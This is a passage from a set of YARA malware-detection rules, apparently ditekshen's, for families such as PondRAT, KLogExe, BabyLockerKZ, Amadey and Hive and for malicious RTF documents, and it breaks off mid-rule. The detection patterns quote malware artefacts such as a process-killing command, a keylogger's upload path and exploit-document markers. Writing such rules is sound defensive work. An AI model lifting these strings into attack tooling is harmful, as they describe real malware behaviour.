		description = "Detects PondRAT"
		author = "ditekshen"
		id = "cb8cca87-6b5e-5984-8a73-9f800b262d77"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11841-L11858"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "affa35f789725d3a8cea8dc95744c4e771690fde5f73936d0806a8c9f72fdb2e"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "MALWARE.Osx.Trojan.PondRAT"
		clamav2 = "MALWARE.Linux.Trojan.PondRAT"
	strings:
		$s1 = "MsgDown" ascii
		$s2 = "MsgUp" ascii
		$s3 = "MsgRun" ascii
		$s4 = "MsgCmd" ascii
		$s5 = "CryptPayload" ascii
		$s6 = "RecvPayload" ascii
		$s7 = "csleepi" ascii
		$s8 = "FConnectProxy" ascii
	condition:
		( uint16( 0 ) == 0x457f or uint16( 0 ) == 0xfacf or uint16( 0 ) == 0xfeca ) and 7 of them
}

rule DITEKSHEN_MALWARE_Win_Klogexe : FILE
{
	meta:
		description = "Detects KLogExe"
		author = "ditekshen"
		id = "8c3ebc2c-717b-5c42-9233-274006d4331b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11918-L11937"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "1f1809b83dc468122022b68d63734ba1597c6fede01582c31d1700ca0b9e1e22"
		score = 75
		quality = 73
		tags = "FILE"
		clamav1 = "MALWARE.Win.Trojan.KLogExe"
	strings:
		$s1 = "[clip_s]: %s" ascii
		$s2 = "------ %d/%d/%d : %d/%d ------" ascii
		$s3 = "[RWin+]" ascii
		$s4 = "[Too many clip_tail]" ascii
		$s5 = "name=\"userfile\"; filename=\"%s\"" ascii
		$s6 = "Origin: http://" wide
		$s7 = "%s_%d_%d_%d_%d" wide
		$s8 = "/wp-content/include.php?_sys_" wide
		$s9 = "\\desktops.ini" wide
		$s10 = "KLogExe" wide nocase
		$s11 = "dynamic_import.cpp [resolve_call] can`nt" wide
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Babylockerkz : FILE
{
	meta:
		description = "Detects BabyLockerKZ"
		author = "ditekshen"
		id = "faa35818-2bed-528f-a6f0-5356a723ef5b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11939-L11957"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "423bbd3b23591608a32e4e724c156fbaa5d1d087515137a82a0aeb8c4865d1ca"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = ":\\locker\\bin\\stub_win_x64_encrypter.pdb" ascii
		$s2 = "taskkill /f /im explorer.exe" fullword wide
		$s3 = "\\SysWOW64\\cmd.exe /c %windir%\\" wide
		$s4 = "[!] Failed to RunNonElevated: %s, error 0x%X" fullword wide
		$s5 = "[!] Failed to run sync command: %s, error 0x%X" fullword wide
		$s6 = "[-] RunNonElevated: %s" fullword wide
		$s7 = "[!][Encrypt] Not" fullword
		$s8 = "[-] sALLUSERSPROFILE: %s" fullword wide
		$s9 = "[!] WNetGetConnection failed 0x%X" fullword wide
		$s10 = "[!][Scan] " wide
		$s11 = "[-] Start encrypt" wide
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_INDICATOR_KB_ID_Bazarloader : FILE
{
	meta:
		description = "Detects Bazar executables with specific email addresses found in the code signing certificate"
		author = "ditekShen"
		id = "94b814e3-56c2-5cdb-9335-c92eea8ec668"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L11-L21"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "fd47a1d996c78a6efc144f0fe0a28951c34becab3101e7d25acc980bb6b9f8ce"
		score = 75
		quality = 71
		tags = "FILE"
	strings:
		$s1 = "skarabeyllc@gmail.com" ascii wide nocase
		$s2 = "admin@intell-it.ru" ascii wide nocase
		$s3 = "support@pro-kon.ru" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and any of them
}

rule DITEKSHEN_INDICATOR_KB_ID_Amadey : FILE
{
	meta:
		description = "Detects Amadey executables with specific email addresses found in the code signing certificate"
		author = "ditekShen"
		id = "f9abbf1d-2077-52a8-bfb0-df3732649624"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L39-L47"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "3df3fe67835f76e51743b1b4fa2cbc48277d82689c2fc27457b4d7d820e56e43"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "tochka.director@gmail.com" ascii wide nocase
	condition:
		uint16( 0 ) == 0x5a4d and any of them
}

rule DITEKSHEN_INDICATOR_KB_ID_UNK01 : FILE
{
	meta:
		description = "Detects Amadey executables with specific email addresses found in the code signing certificate"
		author = "ditekShen"
		id = "56e83bfb-e17d-5d27-87fa-e275cc540148"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L49-L58"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d85461f74186fcabcbf7f2bc1dce06b0012c504cf3235a6fc3e1499dc6f8a3ee"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "37d08a64868c35c5bae8f5155cc669486590951ea80dd9da61ec38defb89a146"
	strings:
		$s1 = "etienne@tetracerous.br" ascii wide nocase
	condition:
		uint16( 0 ) == 0x5a4d and any of them
}

rule DITEKSHEN_INDICATOR_KB_LNK_BOI_MAC : FILE
{
	meta:
		description = "Detects Windows Shortcut .lnk files with previously known bad Birth Object ID and MAC address combination"
		author = "ditekSHen"
		id = "bfef07dc-a368-5119-82dd-de2096b17dd1"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L605-L637"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "31a7966a0ea0fca363d2b926b06c8acbdae0c24dd2156389196255dbbf4ed662"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$boi1 = { 2C ED AC EC 94 7A E8 11 9F DE 00 0C 29 A1 A9 40 }
		$boi2 = { 3F 54 89 18 46 CB E8 11 BD 0E 08 00 27 6D D5 D9 }
		$boi3 = { DE 63 02 FE 57 A2 E8 11 92 E8 5C F3 70 8B 16 F2 }
		$boi4 = { C2 CC 13 98 18 B9 E2 41 82 40 54 A8 AD E2 0A 9A }
		$boi5 = { C4 9D 3A D4 C2 29 3D 47 A9 20 EE A4 D8 A7 D8 7D }
		$boi6 = { E4 51 EC 20 66 61 EA 11 85 CD B2 FC 36 31 EE 21 }
		$boi7 = { 6E DD CE 86 0F 07 90 4B AF 18 38 2F 97 FB 53 62 }
		$boi8 = { 25 41 87 AE F1 D2 EA 11 93 97 00 50 56 C0 00 08 }
		$boi9 = { C4 9D 3A D4 C2 29 3D 47 A9 20 EE A4 D8 A7 D8 7D }
		$boi10 = { 5C 46 EC 05 A6 60 EB 11 85 EB 8C 16 45 31 19 7F }
		$boi11 = { 30 8B 17 86 9B 35 C5 40 A7 9D 48 5C D6 3D F3 5C }
		$boi12 = { E5 21 1D 04 9D A4 E9 11 A9 37 00 0C 29 0F 29 89 }
		$boi13 = { 34 5F AC 8A 4E CE ED 4D 8E 55 83 8E EA 24 B3 4E }
		$boi14 = { 49 77 25 3B D6 E1 EB 11 9C BB 00 D8 61 85 FD 9F }
		$mac1 = { 00 0C 29 A1 A9 40 }
		$mac2 = { 08 00 27 6D D5 D9 }
		$mac3 = { 5C F3 70 8B 16 F2 }
		$mac4 = { 00 0C 29 5A 39 04 }
		$mac5 = { B2 FC 36 31 EE 21 }
		$mac6 = { 00 50 56 C0 00 08 }
		$mac7 = { 8C 16 45 31 19 7F }
		$mac8 = { 00 0C 29 0F 29 89 }
		$mac9 = { 00 D8 61 85 FD 9F }
	condition:
		uint16( 0 ) == 0x004c and uint32( 4 ) == 0x00021401 and filesize < 3KB and ( 1 of ( $boi* ) and 1 of ( $mac* ) )
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Zebrocy : FILE
{
	meta:
		description = "Detects Golang Build IDs in known bad samples"
		author = "ditekSHen"
		id = "fc805e9d-47a0-5fcb-9b21-4806c13ab7b4"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1541-L1550"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "16b88460896012b42ca576995f5de98a7a9d2fcc53f8e148427bca31a883d19b"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"l6RAKXh3Wg1yzn63nita/b2_Y0DGY05NFWuZ_4gUT/H91sCRktnyyYVzECfvvA/l8f-yII0L_miSjIe-VQu\"" ascii
		$s2 = "Go build ID: \"fiGGvLVFcvIhuJsSaail/jLt9TEPQiusg7IpRkp4H/hlcoXZIfsl1D4521LqEL/yL8dN86mCNc39WqQTgGn\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 8000KB and 1 of them
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Gostealer : FILE
{
	meta:
		description = "Detects Golang Build IDs in known bad samples"
		author = "ditekSHen"
		id = "25c0eb8b-c69c-5f50-b622-daaa3c8c62a4"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1552-L1562"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d548bc2580c8e8233a5fcdf85b947547c10f2c4d0056d14e990f30dd7b9a0672"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"xQV-b1Fr7d576TTTpbXi/gq4FgVQqMcg--9tmY13y/76rKNEUBENlDFDcecmm_/mbw17A_6WrROaNCYDEQF\"" ascii
		$s2 = "Go build ID: \"x4VqrSSsx8iysxVdfB-z/gIF3p7SUxiZsVgTuq7bN/93XHuILGnGYq2L83fRpj/eoY6nTqwk1sdMHTaXzlw\"" ascii
		$s3 = "Go build ID: \"BPRThIYWbHcZQQ4K1y2t/2mO0-FjLC50P0QZuMTgC/9i6TYw_akiEF9ZPN0s3p/s1XoqXr7EyXMDVw5TTP3\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 8000KB and 1 of them
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Goldenaxe : FILE
{
	meta:
		description = "Detects Golang Build IDs in known bad samples"
		author = "ditekSHen"
		id = "e734d5b4-2332-5b46-a05e-fb35134ea070"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1564-L1573"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4ab9aeaa74530de4a62ddfa8d7e8607e455d0ba4330260037327bec6d8d7abab"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"BrJuyMRdiZ7pC9Cah0is/rbDB__hXWimivbSGiCLi/B35SPLQwHal3ccR2gXNx/hEmVzhJWWatsrKwnENh_\"" ascii
		$s2 = "Go build ID: \"5bgieaBe9PcZCZf23WFp/bCZ0AUHYlqQmX8GJASV6/fGxRLMDDYrTm1jcLMt8j/Wof3n5634bwiwLHFKHTn\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 8000KB and 1 of them
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Nemty : FILE
{
	meta:
		description = "Detects Golang Build IDs in known bad samples"
		author = "ditekSHen"
		id = "512fe910-e38c-513c-b678-a0592bdc4ae2"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1575-L1588"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "246766ab1d2871b5c22323f622d39ce9fa9b46a2d43bace122ed5549484f3aac"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"R6dvaUktgv2SjVXDoMdo/kKgwagwoLRC88DpIXAmx/eipNq7_PQCTCOhZ6Q74q/RHJkCaNdTbd6qgYiA-EC\"" ascii
		$s2 = "Go build ID: \"vsdndTwlj03gbEoDu06S/anJkXGh7N08537M0RMms/VG58d99axcdeD_z1JIko/tfDVbCdWUId-VX90kuT7\"" ascii
		$s3 = "Go build ID: \"FG9JEesXBQ04oNCv2bIS/MmjCdGa3ogU_6DIz6bZR/AjrqKBSezDfY1t7U9xr-/-06dIpZsukiVcN0PtOCb\"" ascii
		$s4 = "Go build ID: \"MJ8bS1emWrrlXiE_C61E/A6GaZzhLls_pFKMGfU1H/ZgswGQy_lzK-I4cZykwm/8JzjhV06jZosSa5Qih5O\"" ascii
		$s5 = "Go build ID: \"_vQalVQKn2O8kxxA4vVM/slXlklhnjEF5tawjlPzW/t26rDRURK6ii0MqU7gIx/MNq6vj_uM15RhjVC2QuX\"" ascii
		$s6 = "Go build ID: \"KWssFDTp6mq16xlI5c0t/mQLgof0oyp-eYKqNYUFL/Np8S71zE5W5_BsJCpjsj/hXpFDaVCtay2509R05fd\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Qnapcrypt : FILE
{
	meta:
		description = "Detects Golang Build IDs in known bad samples"
		author = "ditekSHen"
		id = "4cdea15f-d8fd-5720-ba25-eb60e9b0f9ce"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1590-L1598"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b3ee583c395701350c091041a72f988d1b5ae607b642b42152fcda29f9be63e2"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"XcBqbQohm7UevdYNABvs/2RcJz1616naXSRu2xvTX/b6F3Jt1-5WAIexSyzeun/MpHqs5fJA5G2D9gVuUCe\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 8000KB and 1 of them
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Snatch : FILE
{
	meta:
		description = "Detects Golang Build IDs in known bad samples"
		author = "ditekSHen"
		id = "6ab6b7bc-c905-5ff9-8059-a2d512ba13b3"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1600-L1610"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5a19c791ed0d829c4c97e35cfa604a8716bad3f02632712903d765db95ba87f6"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"8C2VvDTH-MuUPx8tL42E/PWF9iuE2j_Zt0ANsTlty/c64swZ5TtuaIpHuEFmga/6sS0KWNryc-YAduDnWWO\"" ascii
		$s2 = "Go build ID: \"UBrfJ_wztDfCHWakqvlV/LhzfkJwvKFrNhKCHtU9_/sveCupt8GVbvu6WZiyA-/GcimfL_TPl6FTPPriBDr\"" ascii
		$s3 = "Go build ID: \"5zCy9jt7UZaIs5YPk4tt/1Yt6v7gCpDG---pRFyW-/7729nLSeKJik31ftz_Ve/Z5EVG3lWak3ynxNrJ4ih\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Godownloader : FILE
{
	meta:
		description = "Detects Golang Build IDs in known bad samples"
		author = "ditekSHen"
		id = "da53c062-4a55-543d-b2b6-52acdf13febc"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1612-L1622"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e0f5ee6ade4608a8b5c5bd02bf5aef0fcb9cb1fe1cc3a9d00b1ace91e5d0d33f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"1OzJqWaH4h1VtrLP-zk8/G9w32ha7_ziW1Fa-0Byj/gLtfhbXZ6i_W0e5e_tFF/ekG0n9hOcZjmwzRQnRqC\"" ascii
		$s2 = "Go build ID: \"kKxyj14l4NhGbuhOgzef/ab_yr_pUn6q2idYdoBhn/hFAjO_Yxc_rN6mHFuHM9/SmS3qmOyJBc_4xV_qg3B\"" ascii
		$s3 = "Go build ID: \"MiW7XJnQsBXxlBHro8GW/HMqQknRgJg-mCXomgFRt/88ccKMrfA_s6AcOJs3aM/jSUAU_l3RrMzlV6ANEYE\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Ranumbot : FILE
{
	meta:
		description = "Detects Golang Build IDs in known bad samples"
		author = "ditekSHen"
		id = "f368cd9d-f974-56cf-a2b5-bd300f30cedc"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1624-L1633"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c3d0ba55ca2be1b11ebf1b82490c5d26f2b35958b31a7e55892e27f24bf4118f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"hOhuOA4W60aBBRoFQTDA/dl9DuLAgEcabYGK6ZT2t/ECsse3630jV_957OqqK3/ZRA_JRPFzxutK16zlEcM\"" ascii
		$s2 = "Go build ID: \"NivDrAudWE-E6xtBXeww/3pv6fDzDqt4v0YxoTkPt/8vd79TNE-9Bt38ftxf_V/_GNqnqEUsRf-WTSmn8dM\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Banload : FILE
{
	meta:
		description = "Detects Golang Build IDs in known bad samples"
		author = "ditekSHen"
		id = "5955afd5-f26f-5df1-b355-b8f168b694b0"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1635-L1643"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "534de1ce161e5e27f380f96b83630aa75031f268658aa7e8ff8ecce82ed5d4cd"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"a3629ee6ab610a57f242f59a3dd5e5f6de73da40\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Hive : FILE
{
	meta:
		description = "Detects Golang Build IDs in Hive ransomware"
		author = "ditekSHen"
		id = "7d7f7757-de7b-52a7-aab0-8fda38a86fd1"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1645-L1653"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f311a3661ea3a26ebca6cd283d1e219011acfdfbb13fa8b919ca2724b9f4aae7"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"XDub7DGmWVQ2COC6W4If/XHMqRPf2lnJUiVkG1CR6/u_MaUU0go2UUmLb_INuv/WrZSyz-WMW1st_NaM935\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Nodachi : FILE
{
	meta:
		description = "Detects Golang Build IDs in Nodachi"
		author = "ditekSHen"
		id = "9d578768-7995-5fb0-8bf1-9c2221cdef80"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1655-L1666"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "177269623e0f3850c37c6b203d9a637fa92c0ed3fa823cc8d885f28cb383bf7d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"3AAyhKK0wFfCYLdz5oRV/zKyiBHCsAEyDIWhaW5AW/Rb8NLT3q8A2OLm6izDGP/8G9k_gjOTX_PXKna_IMj\"" ascii
		$s2 = "Go build ID: \"-eyFd8kbpwxUsutpqZn_/vqzQXX5Ra4qk1XHoqocW/wd-6gLzQKZyEyhVp7qOj/Jr14hyc7pLLgeIZNbfLD\"" ascii
		$s3 = "Go build ID: \"xDSqp4KGmd0SAf5irMGh/-kA7PGjKoJcvCgsZDStn/lHeQ1LQOVyQB2NnwIwFP/-D5oEBc23ND7IGLTESdM\"" ascii
		$s4 = "Go build ID: \"67RcwNspLH__QJrElMcB/zMJf7Go1s0ZoXqd30Lb_/NaJl4rfcuLEG5LeZ-Y4k/MzFNvW79enRRdx3LmA47\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Gobrut : FILE
{
	meta:
		description = "Detects Golang Build IDs in GoBrut"
		author = "ditekSHen"
		id = "65953012-fc84-50d0-b769-64df66d8a54b"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1668-L1676"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "40c305f019cb31222fa75a24315764cb5e5356afaa72aefb59916d615a8fca28"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"sf_2_ylcjquGBe4mQ99L/aPvdLbM2z9HfoDN3RazG/8bhYeVA67N-ifbDYCDJe/UZzCu_EFL9f10gSfO4L0\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule DITEKSHEN_INDICATOR_KB_Gobuildid_Biopassdropper : FILE
{
	meta:
		description = "Detects Golang Build IDs in BioPass dropper"
		author = "ditekSHen"
		id = "b82d34d9-7774-5f99-9d76-b5426e015981"
		date = "2021-01-21"
		modified = "2024-01-23"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_knownbad_id.yar#L1678-L1686"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "3b586e886b9f901dde1c73aa07ce0d45e4ff417459f298094359ec1c1e02e522"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID: \"OS0VlkdEIlcl3WDDr9Za/_oVwEipaaX6V4mEEYg2V/PytlyeIYgV65maz4wT2Y/IQvgbHv3bbLV42i10qq2\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule DITEKSHEN_INDICATOR_RTF_EXPLOIT_CVE_2017_0199_1 : CVE_2017_0199 FILE
{
	meta:
		description = "Detects RTF documents potentially exploiting CVE-2017-0199"
		author = "ditekSHen"
		id = "74b3702a-7b4d-58be-ad2c-c2b1cf0ebc50"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L1-L69"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "06b75267f00b775a6c1cd7a2022a9cfa0ea2c976f969c2c066be51449f197f58"
		score = 75
		quality = 75
		tags = "CVE-2017-0199, FILE"
	strings:
		$urlmoniker3 = { 45 0a 30 0a 43 0a 39 0a 45 0a 41 0a 37 0a 39 0a 
                         46 0a 39 0a 42 0a 41 0a 43 0a 45 0a 31 0a 31 0a 
                         38 0a 43 0a 38 0a 32 0a 30 0a 30 0a 41 0a 41 0a 
                         30 0a 30 0a 34 0a 42 0a 41 0a 39 0a 30 0a 42 }
		$urlmoniker4 = { 45 0d 0a 30 0d 0a 43 0d 0a 39 0d 0a 45 0d 0a 41
                         0d 0a 37 0d 0a 39 0d 0a 46 0d 0a 39 0d 0a 42 0d 
                         0a 41 0d 0a 43 0d 0a 45 0d 0a 31 0d 0a 31 0d 0a
                         38 0d 0a 43 0d 0a 38 0d 0a 32 0d 0a 30 0d 0a 30
                         0d 0a 41 0d 0a 41 0d 0a 30 0d 0a 30 0d 0a 34 0d
                         0a 42 0d 0a 41 0d 0a 39 0d 0a 30 0d 0a 42 }
		$urlmoniker6 = { 65 0a 30 0a 63 0a 39 0a 65 0a 61 0a 37 0a 39 0a
                         66 0a 39 0a 62 0a 61 0a 63 0a 65 0a 31 0a 31 0a
                         38 0a 63 0a 38 0a 32 0a 30 0a 30 0a 61 0a 61 0a
                         30 0a 30 0a 34 0a 62 0a 61 0a 39 0a 30 0a 62 }
		$urlmoniker7 = { 65 0d 0a 30 0d 0a 63 0d 0a 39 0d 0a 65 0d 0a 61
                         0d 0a 37 0d 0a 39 0d 0a 66 0d 0a 39 0d 0a 62 0d
                         0a 61 0d 0a 63 0d 0a 65 0d 0a 31 0d 0a 31 0d 0a
                         38 0d 0a 63 0d 0a 38 0d 0a 32 0d 0a 30 0d 0a 30
                         0d 0a 61 0d 0a 61 0d 0a 30 0d 0a 30 0d 0a 34 0d
                         0a 62 0d 0a 61 0d 0a 39 0d 0a 30 0d 0a 62 }
		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
		$ole3 = "64306366313165306131623131616531" ascii
		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31" ascii nocase
		$ole5 = { 64 0a 30 0a 63 0a 66 0a 31 0a 31 0a 65 0a 30 }
		$ole6 = { 64 0d 0a 30 0d 0a 63 0d 0a 66 0d 0a 31 0d 0a 31 0d 0a 65 0d 0a 30 }
		$obj1 = "\\objhtml" ascii
		$obj2 = "\\objdata" ascii
		$obj3 = "\\objupdate" ascii
		$obj4 = "\\objemb" ascii
		$obj5 = "\\objautlink" ascii
		$obj6 = "\\objlink" ascii
	condition:
		uint32( 0 ) == 0x74725c7b and 1 of ( $urlmoniker* ) and 1 of ( $ole* ) and 1 of ( $obj* )
}

rule DITEKSHEN_INDICATOR_RTF_EXPLOIT_CVE_2017_8759_1 : CVE_2017_8759 FILE
{
	meta:
		description = "detects CVE-2017-8759 weaponized RTF documents."
		author = "ditekSHen"
		id = "8f873145-b909-5185-9f85-07c820d1f38e"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L215-L238"
